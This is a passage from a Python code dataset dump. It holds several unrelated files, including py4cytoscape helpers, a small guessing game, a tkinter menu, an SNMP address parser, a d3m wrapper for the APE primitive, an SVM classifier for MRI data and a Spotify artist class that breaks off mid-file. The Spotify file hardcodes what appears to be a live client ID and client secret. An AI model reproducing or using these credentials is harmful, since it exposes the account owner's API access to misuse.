'#F4A582', '#D6604D', '#B2182B', '#67001F'])\n \"\"\"\n if colors is None: return\n if not isinstance(colors, list): colors = [colors]\n\n for color in colors:\n if not color.startswith('#') or len(color) != 7:\n raise CyError(f'\"{color}\" is not a valid hexadecimal color (has to begin with # and be 7 characters long, for example: #FF00FF).', caller=sys._getframe(1).f_code.co_name)\n\ndef verify_opacities(opacities):\n \"\"\"Validate and provide user feedback when opacity is required input.\n\n Args:\n opacities (int, float or list): a single value or a list of values, all of which are integers or floats\n\n Returns:\n None\n\n Raises:\n CyError: if opacity is invalid\n\n Examples:\n >>> verify_opacities(177)\n >>> verify_opacities([177, 200])\n \"\"\"\n if opacities is None: return\n if not isinstance(opacities, list): opacities = [opacities]\n\n for opacity in opacities:\n if not (isinstance(opacity, float) or isinstance(opacity, int)) or opacity < 0 or opacity > 255:\n raise CyError(f'\"{opacity}\" is not a valid opacity (has to be an integer between 0 and 255).', caller=sys._getframe(1).f_code.co_name)\n\ndef verify_dimensions(dimension, sizes):\n \"\"\"Validate and provide user feedback when dimensions is required input.\n\n Args:\n dimension (str): name of the sizes being examined (e.g., 'width')\n sizes (int, float or list): a single value or a list of values, all of which are integers or floats\n\n Returns:\n None\n\n Raises:\n CyError: if size is invalid\n\n Examples:\n >>> verify_dimensions('width', 50)\n >>> verify_dimensions('width', [10, 20])\n \"\"\"\n if sizes is None: return\n if not isinstance(sizes, list): sizes = [sizes]\n\n for size in sizes:\n if not isinstance(size, float) and not isinstance(size, int):\n raise CyError(f'Illegal {dimension} \"{size}\". It needs to be a number.', caller=sys._getframe(1).f_code.co_name)\n\ndef verify_slot(slot):\n \"\"\"Validate and provide user feedback when slot is required input.\n\n Args:\n slot (int or float): a slot number between 1 and 9\n\n Returns:\n None\n\n Raises:\n CyError: if slot is invalid\n\n Examples:\n >>> verify_slot(5)\n \"\"\"\n if not (isinstance(slot, float) or isinstance(slot, int)) or slot < 1 or slot > 9:\n raise CyError(f'slot must be an integer between 1 and 9', caller=sys._getframe(1).f_code.co_name)\n\ndef node_name_to_node_suid(node_names, network=None, base_url=DEFAULT_BASE_URL):\n \"\"\"Translate one node name or a list of node names into a list of SUIDs.\n\n List can contain a mixture of names and SUIDs. If it does, only the names are translated,\n but all entries are returned. If the list contains all SUIDs and no names, the list is returned.\n\n If a name maps to multiple SUIDs, a list of SUIDs are returned instead of a single SUID.\n\n Args:\n node_names (str or list): an node name or a list of node names\n network (SUID or str or None): Name or SUID of a network. Default is the\n \"current\" network active in Cytoscape.\n base_url (str): Ignore unless you need to specify a custom domain,\n port or version to connect to the CyREST API. Default is http://127.0.0.1:1234\n and the latest version of the CyREST API supported by this version of py4cytoscape.\n\n Returns:\n list: []\n\n Raises:\n CyError: if network name or SUID doesn't exist\n requests.exceptions.RequestException: if can't connect to Cytoscape or Cytoscape returns an error\n\n Examples:\n >>> node_name_to_node_suid('YDR277C')\n [1022]\n >>> node_name_to_node_suid(['YDR277C', 'YDL194W'], network='myNetwork')\n [1022, 1023]\n >>> node_name_to_node_suid(['YDR277C', 'AXD206W'], network='myNetwork')\n [1022, [1099, 1100]]\n \"\"\"\n if node_names is None: return None\n # TODO: Should this be a simple conversion, or a split(',')??\n if isinstance(node_names, str): node_names = [node_names]\n df = tables.get_table_columns('node', ['name'], 'default', network=network, base_url=base_url)\n\n all_suids = df.index\n test_present = [x in all_suids for x in node_names]\n if not False in test_present:\n return node_names\n\n # map all node names into SUIDs ... all names *must* be actual names ... for names mapping to multiple SUIDs, return a SUID list\n node_suids = [list(df[df.name.eq(node_name)].index.values) for node_name in node_names]\n if True in [True if len(x) == 0 else False for x in node_suids]:\n raise CyError(f'Invalid name in node name list: {node_names}')\n node_suids = [x[0] if len(x) == 1 else x for x in node_suids]\n\n return node_suids\n\ndef node_suid_to_node_name(node_suids, network=None, base_url=DEFAULT_BASE_URL):\n \"\"\"Translate one node SUID or a list of node SUIDs into a list of names.\n\n List can contain a mixture of names and SUIDs. If it does, only the SUIDs are translated,\n but all entries are returned. If the list contains all names and no SUIDs, the list is returned.\n\n Args:\n node_suids (SUID or list): an edge SUID or a list of edge SUIDs\n network (SUID or str or None): Name or SUID of a network. Default is the\n \"current\" network active in Cytoscape.\n base_url (str): Ignore unless you need to specify a custom domain,\n port or version to connect to the CyREST API. Default is http://127.0.0.1:1234\n and the latest version of the CyREST API supported by this version of py4cytoscape.\n\n Returns:\n list: []\n\n Raises:\n CyError: if network name or SUID doesn't exist\n requests.exceptions.RequestException: if can't connect to Cytoscape or Cytoscape returns an error\n\n Examples:\n >>> node_suid_to_node_name(1022)\n ['YDR277C']\n >>> node_suid_to_node_name([1022, 1023], network='myNetwork')\n ['YDR277C', 'YDL194W']\n \"\"\"\n if node_suids is None: return None\n if isinstance(node_suids, str): node_suids = [node_suids]\n\n df = tables.get_table_columns('node', ['name'], 'default', network, base_url=base_url)\n all_names = df['name'].values\n\n test_present = [x in all_names for x in node_suids]\n if not False in test_present:\n return node_suids\n\n all_suids_list = df.index.tolist()\n try:\n # map all SUIDS into column names ... all SUIDS *must* be actual SUIDS\n node_names = [all_names[all_suids_list.index(node_suid)] for node_suid in node_suids]\n return node_names\n except Exception as e:\n raise CyError(f'Invalid node SUID in list: {node_suids}')\n\n\ndef edge_name_to_edge_suid(edge_names, network=None, base_url=DEFAULT_BASE_URL):\n \"\"\"Translate one edge name or a list of edge names into a list of SUIDs.\n\n List can contain a mixture of names and SUIDs. If it does, only the names are translated,\n but all entries are returned. If the list contains all SUIDs and no names, the list is returned.\n\n If a name maps to multiple SUIDs, a list of SUIDs are returned instead of a single SUID.\n\n Args:\n edge_names (str or list): an edge name or a list of edge names\n network (SUID or str or None): Name or SUID of a network. Default is the\n \"current\" network active in Cytoscape.\n base_url (str): Ignore unless you need to specify a custom domain,\n port or version to connect to the CyREST API. Default is http://127.0.0.1:1234\n and the latest version of the CyREST API supported by this version of py4cytoscape.\n\n Returns:\n list: []\n\n Raises:\n CyError: if network name or SUID doesn't exist\n requests.exceptions.RequestException: if can't connect to Cytoscape or Cytoscape returns an error\n\n Examples:\n >>> edge_name_to_edge_suid('YDR277C (pp) YDL194W')\n [1022]\n >>> edge_name_to_edge_suid(['YDR277C (pp) YDL194W', 'YDR277C (pp) YDR206W'], network='myNetwork')\n [1022, 1023]\n >>> edge_name_to_edge_suid(['YDR277C (pp) YDL194W', 'YDR277C (pp) AXD206W'], network='myNetwork')\n [1022, [1099, 1100]]\n \"\"\"\n if edge_names is None: return None\n if isinstance(edge_names, str) or isinstance(edge_names, int): edge_names = [edge_names]\n df = tables.get_table_columns('edge', ['name'], 'default', network, base_url=base_url)\n\n all_suids = df.index\n test_present = [x in all_suids for x in edge_names]\n if not False in test_present:\n return edge_names\n\n # map all edge names into SUIDs ... all names *must* be actual names ... for names mapping to multiple SUIDs, return a SUID list\n edge_suids = [list(df[df.name.eq(edge_name)].index.values) for edge_name in edge_names]\n if True in [True if len(x) == 0 else False for x in edge_suids]:\n raise CyError(f'Invalid edge name in list: {edge_names}')\n edge_suids = [x[0] if len(x) == 1 else x for x in edge_suids]\n\n return edge_suids\n\n\ndef edge_suid_to_edge_name(edge_suids, network=None, base_url=DEFAULT_BASE_URL):\n \"\"\"Translate one edge SUID or a list of edge SUIDs into a list of names.\n\n List can contain a mixture of names and SUIDs. If it does, only the SUIDs are translated,\n but all entries are returned. If the list contains all names and no SUIDs, the list is returned.\n\n Args:\n edge_suids (SUID or list): an edge SUID or a list of edge SUIDs\n network (SUID or str or None): Name or SUID of a network. Default is the\n \"current\" network active in Cytoscape.\n base_url (str): Ignore unless you need to specify a custom domain,\n port or version to connect to the CyREST API. Default is http://127.0.0.1:1234\n and the latest version of the CyREST API supported by this version of py4cytoscape.\n\n Returns:\n list: []\n\n Raises:\n CyError: if network name or SUID doesn't exist\n requests.exceptions.RequestException: if can't connect to Cytoscape or Cytoscape returns an error\n\n Examples:\n >>> edge_suid_to_edge_name(1022)\n ['YDR277C (pp) YDL194W']\n >>> edge_suid_to_edge_name([1022, 1023], network='myNetwork')\n ['YDR277C (pp) YDL194W', 'YDR277C (pp) YDR206W']\n \"\"\"\n if edge_suids is None: return None\n if isinstance(edge_suids, str): edge_suids = [edge_suids]\n\n df = tables.get_table_columns('edge', ['name'], 'default', network, base_url=base_url)\n all_names = df['name'].values\n\n test = [edge_suid in all_names for edge_suid in edge_suids]\n if not False in test: return edge_suids # the list already had valid names\n\n all_suids_list = df.index.tolist()\n try:\n # map all SUIDS into column names ... all SUIDS *must* be actual SUIDS\n edge_names = [all_names[all_suids_list.index(edge_suid)] for edge_suid in edge_suids]\n return edge_names\n except Exception as e:\n raise CyError(f'Invalid edge SUID in list: {edge_suids}')\n\n# ------------------------------------------------------------------------------\n# TODO: R had netowrk=network, which looks like a typo\ndef table_column_exists(table_column, table, network=None, base_url=DEFAULT_BASE_URL):\n \"\"\"Checks to see if a particular column name exists in the specific table.\n\n Args:\n table_column (str): name of column within table\n table (str): name of table to check (e.g., 'node', 'edge', 'network')\n network (SUID or str or None): Name or SUID of a network. Default is the\n \"current\" network active in Cytoscape.\n base_url (str): Ignore unless you need to specify a custom domain,\n port or version to connect to the CyREST API. Default is http://127.0.0.1:1234\n and the latest version of the CyREST API supported by this version of py4cytoscape.\n\n Returns:\n bool: True if column exists, False if not\n\n Raises:\n CyError: if table or network name or SUID doesn't exist\n requests.exceptions.RequestException: if can't connect to Cytoscape or Cytoscape returns an error\n\n Examples:\n >>> table_column_exists('YDL194W', 'node')\n True\n >>> table_column_exists('bogus', 'edge', network='myNetwork')\n False\n \"\"\"\n if table_column not in tables.get_table_column_names(table, network=network, base_url=base_url):\n narrate('Column ' + table_column + ' does not exist in the ' + table + ' table.')\n return False\n return True\n\n# ------------------------------------------------------------------------------\ndef verify_supported_versions(cyrest=1, cytoscape=3.6, base_url=DEFAULT_BASE_URL):\n \"\"\"Checks to see if min supported versions of api and cytoscape are running.\n\n Extracts numerics from api and major cytoscape versions before making comparison.\n\n Args:\n cyrest (int): minimum CyREST version\n cytoscape (float): minimum Cytoscape version\n base_url (str): Ignore unless you need to specify a custom domain,\n port or version to connect to the CyREST API. Default is http://127.0.0.1:1234\n and the latest version of the CyREST API supported by this version of py4cytoscape.\n\n Returns:\n None\n\n Raises:\n none\n\n Examples:\n >>> verify_supported_versions(1, 3.7)\n \"\"\"\n v = cytoscape_system.cytoscape_version_info(base_url=base_url)\n v_api_str = v['apiVersion']\n v_cy_str = v['cytoscapeVersion']\n v_api_num = int(re.match('v([0-9]+)$', v_api_str).group(1))\n v_cy_num = float(re.match('([0-9]+\\\\.[0-9]+)\\\\..*$', v_cy_str).group(1))\n nogo = None\n\n if cyrest > v_api_num:\n nogo = 'CyREST API version %d or greater is required. You are currently working with version %d.' % (cyrest, v_api_num)\n\n if cytoscape > v_cy_num:\n nogo = 'Cytoscape version %0.2g or greater is required. You are currently working with version %0.2g.' % (cytoscape, v_cy_num)\n\n if nogo: raise CyError(f'Function not run due to unsupported version: {nogo}')\n\ndef build_url(base_url=DEFAULT_BASE_URL, command=None):\n \"\"\"Append a command (if it exists) to a base URL.\n\n Args:\n base_url (str): Ignore unless you need to specify a custom domain,\n port or version to connect to the CyREST API. Default is http://127.0.0.1:1234\n and the latest version of the CyREST API supported by this version of py4cytoscape.\n command (str): the command (if any) to append to the base_url\n\n Returns:\n str: URL composed of base and URL-encoded command\n\n Raises:\n none\n\n Examples:\n >>> build_url()\n 'http://127.0.0.1:1234/v1'\n >>> build_url('collections/1043355/tables/default')\n 'http://127.0.0.1:1234/v1/collections/1043355/tables/default'\n \"\"\"\n if command is not None:\n return base_url + \"/\" + urllib.parse.quote(command)\n else:\n return base_url\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"py4cytoscape/py4cytoscape_utils.py","file_name":"py4cytoscape_utils.py","file_ext":"py","file_size_in_byte":18848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"399279024","text":"#!/usr/bin/env python\r\n# -*- coding:utf-8 -*-\r\n# Author: Damon Huang\r\n\r\ncount = 0\r\nAgeofDamon = 30\r\nfor i in range(3):\r\n GuessAge = int(input(\"GuessAge:\"))\r\n if GuessAge == AgeofDamon and count != 1:\r\n print(\"Bingo! 你太聪明了！\\n\"\r\n \"すばらしい！\\n\"\r\n \"Amazing!\")\r\n break\r\n elif GuessAge == AgeofDamon and count == 1:\r\n print(\"太神奇了！一次就猜对了！\\n\"\r\n \"一回だけで当たったとは！\\n\"\r\n \"Amazing! You did it in one!\")\r\n break\r\n elif GuessAge > AgeofDamon:\r\n print(\"word哥，我看着有那么老吗？\\n\"\r\n \"そんなに老けて見えるの？\\n\"\r\n \"I'm fresh meat, ok?\")\r\n else:\r\n print(\"My God！我要是那么年轻就好了！\\n\"\r\n \"そんなに若いならよかった。\\n\"\r\n \"If I were young...\")\r\n if GuessAge != AgeofDamon and count == 3:\r\n continue_guess = input(\"是否继续尝试？\\n\"\r\n \"Yをタップして当て続ける\\n\"\r\n \"Press Y to continue...\")\r\n if continue_guess != \"N\":\r\n count = 0\r\n# print(\"只有三次机会，你已经用光了！\\n\"\r\n# \"三回しか当てられないよ。\\n\"\r\n# \"You have tried 3 times.\")\r\n","sub_path":"PythonScripts/for.py","file_name":"for.py","file_ext":"py","file_size_in_byte":1366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"442288564","text":"from tkinter import*\nfrom tkinter import filedialog as fd\nimport os\nimport src.principal\nimport src.nuevo_problema\nimport src.ingreso_datos\n# import src.Solucion.PDF\n\nclass menu_problema:\n def __init__(self,v):\n\n self.ven= Tk()\n self.ven.destroy()\n self.ven= v\n\n # Creacion de la barra de menus\n barra_menu = Menu(self.ven)\n\n # Creacion de menus\n archivo = Menu(barra_menu, tearoff=0)\n exportar = Menu(barra_menu,tearoff=0)\n ayuda = Menu(barra_menu,tearoff=0)\n\n # Creacion de los comandos para menu archivo\n archivo.add_command(label=\"Nuevo Problema\",command=self.nuevo)\n archivo.add_command(label=\"Cargar problema\",command=self.recuperar)\n archivo.add_command(label=\"Guardar\", command=self.guardar)\n archivo.add_separator()\n archivo.add_command(label=\"Salir\",command=self.salir)\n\n # Creacion de los comandos para menu exportar\n exportar.add_command(label=\"Como PDF\")\n\n # Creacion de los comandos para menu ayuda\n ayuda.add_command(label=\"Manual de uso\",command=self.ayuda)\n ayuda.add_separator()\n ayuda.add_command(label=\"Acerca de\")\n\n # Agregar los menus a la barra de menus\n barra_menu.add_cascade(label=\"Archivo\", menu=archivo)\n barra_menu.add_cascade(label=\"Exportar\", menu=exportar)\n barra_menu.add_cascade(label=\"Ayuda\", menu=ayuda)\n \n # Agregar la barra a principal\n self.ven.config(menu=barra_menu)\n\n\n\n\n def guardar(self):\n nombre_archivo=fd.asksaveasfilename(initialdir = os.getcwd() ,title = \"Guardar como\",filetypes = ((\"txt files\",\"*.txt\"),(\"todos los archivos\",\"*.*\")))\n if nombre_archivo!='':\n archivo=open(nombre_archivo + \".txt\", \"w\", encoding=\"utf-8\")\n print(str(src.ingreso_datos.ingreso_datos.datos()))\n archivo.write(str(src.ingreso_datos.ingreso_datos.datos()))\n archivo.close()\n \n\n def recuperar(self):\n nombre_archivo=fd.askopenfilename(initialdir = os.getcwd() ,title = \"Seleccione archivo\",filetypes = ((\"txt files\",\"*.txt\"),(\"todos los archivos\",\"*.*\")))\n if nombre_archivo!='':\n archivo=open(nombre_archivo, \"r\", encoding=\"utf-8\")\n contenido=archivo.read()\n archivo.close()\n\n def salir(self):\n self.ven.destroy()\n\n def ayuda(self):\n self.ven.destroy()\n src.principal.principal()\n\n def nuevo(self):\n self.ven.destroy()\n src.nuevo_problema.nuevo_problema()\n\n # def pdf(self):\n # src.Solucion.PDF.generarPDF()\n\n\n \n \n ","sub_path":"src/menu_problema.py","file_name":"menu_problema.py","file_ext":"py","file_size_in_byte":2657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"510605510","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.6 (62161)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/snmpresponder/endpoint.py\n# Compiled at: 2019-01-13 12:56:28\nimport re\nfrom snmpresponder.error import SnmpResponderError\nfrom pysnmp.carrier.asyncore.dgram import udp\ntry:\n from pysnmp.carrier.asyncore.dgram import udp6\nexcept ImportError:\n udp6 = None\n\ndef parseTransportAddress(transportDomain, transportAddress, transportOptions, defaultPort=0):\n if ('transparent-proxy' in transportOptions or 'virtual-interface' in transportOptions) and '$' in transportAddress:\n addrMacro = transportAddress\n if transportDomain[:len(udp.domainName)] == udp.domainName:\n h, p = '0.0.0.0', defaultPort\n else:\n h, p = '::0', defaultPort\n else:\n addrMacro = None\n if transportDomain[:len(udp.domainName)] == udp.domainName:\n if ':' in transportAddress:\n (h, p) = transportAddress.split(':', 1)\n else:\n h, p = transportAddress, defaultPort\n else:\n hp = re.split('^\\\\[(.*?)\\\\]:([0-9]+)', transportAddress, maxsplit=1)\n if len(hp) != 4:\n raise SnmpResponderError('bad address specification')\n (h, p) = hp[1:3]\n try:\n p = int(p)\n except (ValueError, IndexError):\n raise SnmpResponderError('bad port specification')\n\n return ((h, p), addrMacro)","sub_path":"pycfiles/snmpresponder-0.0.2-py2.6/endpoint.py","file_name":"endpoint.py","file_ext":"py","file_size_in_byte":1532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"289293743","text":"import os\nimport sys\nimport typing\nimport numpy as np\nimport pandas as pd\n\nfrom nk_ape import *\nfrom nk_ape.utils import mean_of_rows\n\nfrom d3m.primitive_interfaces.base import PrimitiveBase, CallResult\n\nfrom d3m import container, utils\nfrom d3m.metadata import hyperparams, base as metadata_base, params\n\n__author__ = 'Distil'\n__version__ = '1.0.1'\n\nInputs = container.pandas.DataFrame\nOutputs = container.pandas.DataFrame\n\n\nclass Params(params.Params):\n pass\n\n\nclass Hyperparams(hyperparams.Hyperparams):\n pass\n\n\nclass ape(PrimitiveBase[Inputs, Outputs, Params, Hyperparams]):\n metadata = metadata_base.PrimitiveMetadata({\n # Simply an UUID generated once and fixed forever. Generated using \"uuid.uuid4()\".\n 'id': '42a29a5a-68fd-4d9f-bbe4-ca1cc3620177',\n 'version': __version__,\n 'name': \"ape\",\n # Keywords do not have a controlled vocabulary. Authors can put here whatever they find suitable.\n 'keywords': ['text augmentation', 'concept description', 'text analysis'],\n 'source': {\n 'name': __author__,\n 'uris': [\n # Unstructured URIs.\n \"https://github.com/NewKnowledge/ape-d3m-wrapper\",\n ],\n },\n # A list of dependencies in order. These can be Python packages, system packages, or Docker images.\n # Of course Python packages can also have their own dependencies, but sometimes it is necessary to\n # install a Python package first to be even able to run setup.py of another package. Or you have\n # a dependency which is not on PyPi.\n \"installation\": [\n {\n \"type\": \"TGZ\",\n \"key\": \"en.model\",\n \"file_uri\": \"http://public.datadrivendiscovery.org/en_1000_no_stem.tar.gz\",\n \"file_digest\":\"3b1238137bba14222ae7c718f535c68a3d7190f244296108c895f1abe8549861\"\n },\n {\n \"type\": \"PIP\",\n \"package_uri\": \"git+https://github.com/NewKnowledge/nk_ape.git@d740f890b05372fb910acdfbc6ec88bdd603d3af#egg=nk_ape\"\n },\n {\n \"type\": \"PIP\",\n \"package_uri\": \"git+https://github.com/NewKnowledge/ape-d3m-wrapper.git@{git_commit}#egg=APEd3mWrapper\".format(\n git_commit=utils.current_git_commit(os.path.dirname(__file__))\n ),\n }\n ],\n # The same path the primitive is registered with entry points in setup.py.\n 'python_path': 'd3m.primitives.distil.ape',\n # Choose these from a controlled vocabulary in the schema. If anything is missing which would\n # best describe the primitive, make a merge request.\n \"algorithm_types\": [\n metadata_base.PrimitiveAlgorithmType.WORD2VEC\n ],\n \"primitive_family\": metadata_base.PrimitiveFamily.FEATURE_CONSTRUCTION\n })\n\n def __init__(self, *, hyperparams: Hyperparams, volumes: typing.Dict[str,str]=None)-> None:\n super().__init__(hyperparams=hyperparams, volumes=volumes)\n\n self.volumes = volumes\n self._params = {}\n\n def fit(self) -> None:\n pass\n\n def get_params(self) -> Params:\n return self._params\n\n def set_params(self, *, params: Params) -> None:\n self.params = params\n\n def set_training_data(self, *, inputs: Inputs, outputs: Outputs) -> None:\n pass\n\n def produce(self, *, inputs: Inputs) -> CallResult[Outputs]:\n \"\"\"\n Produce a constellation of similar concepts that may be at\n a higher level of abstraction (i.e., summaries) than the input.\n\n Parameters\n ----------\n inputs : pandas dataframe where a column is a pd.Series and each cell\n contains a list or string of unstructured text (concepts)\n\n Returns\n -------\n output : input pandas dataframe augmented with related concepts as\n predicted by APE.\n \"\"\"\n\n target_columns = self.hyperparams['target_columns']\n output_labels = self.hyperparams['output_labels']\n\n input_df = inputs\n tree = '/src/nk-ape/nk_ape/ontologies/class-tree_dbpedia_2016-10.json'\n embedding_path = self.volumes['en.model'] + \"/en_1000_no_stem/en.model\"\n row_agg_func = mean_of_rows\n tree_agg_func = np.mean\n source_agg_func = mean_of_rows\n max_num_samples = 1e6\n n_words = 10\n verbose = True\n\n for i, ith_column in enumerate(target_columns):\n # initialize an empty dataframe\n result_df = pd.DataFrame()\n output_label = output_labels[i]\n\n for concept_set in input_df.loc[:, ith_column]:\n\n if not isinstance(concept_set, (list, tuple)):\n concept_set = concept_set.split(' ')\n\n ape_client = ConceptDescriptor(\n concepts=concept_set,\n tree=tree,\n embedding=embedding_path,\n row_agg_func=row_agg_func,\n tree_agg_func=tree_agg_func,\n max_num_samples=max_num_samples,\n verbose=verbose\n )\n\n result = ape_client.get_top_n_words(n_words)\n\n result_df = result_df.append(\n {output_label + '_concepts': [i['concept'] for i in result],\n output_label + '_confs': [i['conf'] for i in result]},\n ignore_index=True)\n\n input_df = pd.concat(\n [input_df.reset_index(drop=True), result_df], axis=1)\n\n return input_df\n\n\nif __name__ == '__main__':\n client = ape(hyperparams={'target_columns': ['test_column'],'output_labels': ['test_column_prefix']})\n input_df = pd.DataFrame(pd.Series([['gorilla', 'chimp', 'orangutan', 'gibbon', 'human'],['enzyme', 'gene', 'hormone', 'lipid', 'polysaccharide']]))\n input_df.columns = ['test_column']\n result = client.produce(inputs=input_df)\n print(result.head)\n","sub_path":"APEd3mWrapper/wrapper.py","file_name":"wrapper.py","file_ext":"py","file_size_in_byte":5993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"587195401","text":"import os\nimport glob\nimport torch\nimport numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import KFold\nfrom sklearn.svm import SVC\nfrom sklearn.preprocessing import StandardScaler\nimport torch.utils.data\n\n\ndef data_list(sample_path):\n sub_dirs = [x[0] for x in os.walk(sample_path)]\n sub_dirs.pop(0)\n\n data_list = []\n\n for sub_dir in sub_dirs:\n file_list = []\n dir_name = os.path.basename(sub_dir)\n file_glob = os.path.join(sample_path, dir_name, '*')\n file_list.extend(glob.glob(file_glob))\n\n for file_name in file_list:\n data_list.append([file_name, dir_name])\n\n return np.array(data_list)\n\n\nclass MRI_Dataset(torch.utils.data.Dataset):\n def __init__(self, data_list, transform=None):\n self.data_list = data_list\n self.transform = transform\n\n def __getitem__(self, idx):\n filepath, target = self.data_list[idx][0], int(self.data_list[idx][1])\n dataframe = pd.read_csv(filepath, sep=\"\\t\", header=None)\n pic = dataframe.to_numpy()\n pic = np.reshape(pic, (-1,))\n\n if self.transform is not None:\n pic = self.transform(pic)\n\n return pic, target\n\n def __len__(self):\n return len(self.data_list)\n\n\ndef main():\n DATAPATH = 'D:/code/DTI_data/feature_extracted/network_FL/'\n INDEXPATH = 'D:/code/DTI_data/feature_extracted/network_FL_idx.csv'\n df = pd.read_csv(INDEXPATH, header=None)\n ext_idx = np.reshape(df.to_numpy(), (-1,))\n dataset = data_list(DATAPATH)\n\n acc_sum = 0\n kf = KFold(n_splits=10, shuffle=True, random_state=4)\n for idx, (train_idx, test_idx) in enumerate(kf.split(dataset)):\n print('--------Cross Validation: {}/{} --------\\n'.format(idx + 1, 10))\n features_train = []\n targets_train = []\n for feature, target in MRI_Dataset(dataset[train_idx]):\n features_train.append(feature[ext_idx])\n targets_train.append(target)\n features_test = []\n targets_test = []\n for feature, target in MRI_Dataset(dataset[test_idx]):\n features_test.append(feature[ext_idx])\n targets_test.append(target)\n\n scaler = StandardScaler()\n scaler.fit(features_train)\n features_train = scaler.transform(features_train)\n features_test = scaler.transform(features_test)\n svc = SVC(kernel=\"rbf\", random_state=0, gamma='scale', C=1)\n model = svc.fit(features_train, targets_train)\n predicts = model.predict(features_test)\n correct = np.sum(predicts == targets_test)\n accuracy = correct / test_idx.shape[0]\n print(\"accuracy: {:.4f}%\\n\".format(accuracy * 100))\n acc_sum += accuracy\n print(\"average of accuracy: {:.4f}%\\n\".format(acc_sum / 10 * 100))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"MDD_DTI/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"91032463","text":"import matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\nimport torch\nimport argparse\nimport numpy as np\n\ndef plot_fig(data, fig_name, x_label, y_label, title):\n x = np.arange(1, len(data)+1)\n y = np.asarray(data)\n\n plt.figure()\n plt.plot(x, y, '--bo')\n plt.xlabel(x_label)\n plt.ylabel(y_label)\n plt.title(title)\n plt.savefig(fig_name)\n\nif __name__=='__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--ckpt_file', type=str, required=True)\n args = parser.parse_args()\n\n ckpt_model = torch.load(args.ckpt_file)\n\n train_acc = torch.FloatTensor(ckpt_model['tracker']['train_acc'])\n train_acc = train_acc.mean(dim=1).numpy()\n\n val_acc = torch.FloatTensor(ckpt_model['tracker']['val_acc'])\n val_acc = val_acc.mean(dim=1).numpy()\n\n train_loss = torch.FloatTensor(ckpt_model['tracker']['train_loss'])\n train_loss = train_loss.mean(dim=1).numpy()\n\n val_loss = torch.FloatTensor(ckpt_model['tracker']['val_loss'])\n val_loss = val_loss.mean(dim=1).numpy()\n\n plot_fig(train_acc, 'train_acc.png', 'No. of epochs', 'Train Accuracy', 'Plot of training accuracy vs. no. of epochs')\n plot_fig(val_acc, 'val_acc.png', 'No. of epochs', 'Validation Accuracy', 'Plot of validation accuracy vs. no. of epochs')\n plot_fig(train_loss, 'train_loss.png', 'No. of epochs', 'Train Loss', 'Plot of training loss vs. no. of epochs')\n plot_fig(val_loss, 'val_loss.png', 'No. of epochs', 'Validation Loss', 'Plot of validation loss vs. no. of epochs')\n\n\n\n","sub_path":"code/plot_metrics.py","file_name":"plot_metrics.py","file_ext":"py","file_size_in_byte":1531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"351493518","text":"from spotipy.oauth2 import SpotifyClientCredentials\r\nimport spotipy\r\nimport numpy as np\r\nimport ast\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\nclient_id = '6c1147793d114a87b17d1a6b4e40bf2a'\r\nclient_secret = 'a74e9be4fda4451ca43cca0c0d267027'\r\n\r\nclient_credentials_manager = SpotifyClientCredentials(client_id, client_secret)\r\nsp = spotipy.Spotify(client_credentials_manager=client_credentials_manager)\r\n\r\n\r\nclass Artist():\r\n def getArtistID(self, artistName):\r\n results = sp.search(q=artistName, type=\"artist\")\r\n artistID = results['artists']['items'][0]['id']\r\n return artistID\r\n\r\n\r\n def __init__(self, artistName):\r\n self.artistName = artistName\r\n self.artistID = self.getArtistID(artistName)\r\n self.relArtistsIDs = self.getRelatedArtists(self.artistID)[0]\r\n self.relArtistsNames = self.getRelatedArtists(self.artistID)[1]\r\n self.nEdges = len(self.relArtistsNames)\r\n\r\n\r\n def getAlbumIDs(userID):\r\n names = np.array([])\r\n IDs = np.array([])\r\n results = sp.artist_albums(userID, album_type='album')\r\n albums = results['items']\r\n while results['next']:\r\n results = sp.next(results)\r\n albums.extend(results['items'])\r\n\r\n for album in albums:\r\n if names.__contains__(album['name']) is False:\r\n IDs = np.append(IDs, album['uri'])\r\n names = np.append(names, album['name'])\r\n\r\n return IDs, names\r\n\r\n def getAlbumTracks(albumID):\r\n results = sp.album_tracks(albumID)\r\n albumTrackIDs = []\r\n albumTrackNames = []\r\n tracks = results['items']\r\n while results['next']:\r\n results = sp.next(results)\r\n tracks.extend(results['items'])\r\n\r\n for track in tracks:\r\n\r\n albumTrackIDs = np.append(albumTrackIDs, track['id'])\r\n albumTrackNames = np.append(albumTrackNames, track['name'])\r\n print(albumTrackNames)\r\n\r\n return albumTrackIDs, albumTrackNames\r\n\r\n def getTrackFeatures(trackID):\r\n meta = sp.track(trackID)\r\n features = sp.audio_features(trackID)\r\n\r\n # meta\r\n name = meta['name']\r\n album = meta['album']['name']\r\n artist = meta['album']['artists'][0]['name']\r\n release_date = meta['album']['release_date']\r\n length = meta['duration_ms']\r\n popularity = meta['popularity']\r\n\r\n # features\r\n acousticness = features[0]['acousticness']\r\n danceability = features[0]['danceability']\r\n energy = features[0]['energy']\r\n instrumentalness = features[0]['instrumentalness']\r\n liveness = features[0]['liveness']\r\n loudness = features[0]['loudness']\r\n speechiness = features[0]['speechiness']\r\n tempo = features[0]['tempo']\r\n time_signature = features[0]['time_signature']\r\n\r\n track = [name, album, artist, release_date, length, popularity,\r\n danceability, acousticness, danceability, energy,\r\n instrumentalness, liveness, loudness,speechiness,\r\n tempo, time_signature]\r\n\r\n return 